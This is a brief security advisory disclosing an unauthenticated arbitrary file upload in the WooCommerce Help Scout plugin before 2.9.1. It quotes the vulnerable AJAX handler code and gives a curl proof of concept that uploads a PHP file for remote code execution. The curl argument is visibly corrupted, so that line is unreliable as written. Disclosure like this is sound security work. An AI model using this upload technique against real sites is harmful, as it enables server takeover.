WooCommerce Help Scout < 2.9.1 - Unauthenticated Arbitrary File Upload leading to RCE

In file /woocommerce-help-scout/includes/class-wc-help-scout-ajax.php there is class WC_Help_Scout_Ajax

with constructor initializing action

add_action( 'wp_ajax_nopriv_wc_help_scout_upload_attachments', array( $this, 'wc_help_scout_upload_attachments' ) );

which reads uploaded $_FILES and then executes 

        $target_path_sia = $_FILES["file"]["name"];
                move_uploaded_file($_FILES["file"]["tmp_name"],$dir. "/hstmp/" . $target_path_sia);


Ie. attacker can run 

echo '<?php echo "Hello World!";' > helloworld.php

curl -X POST -F [email protected] https://<site>/wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments

to exploit this vuln.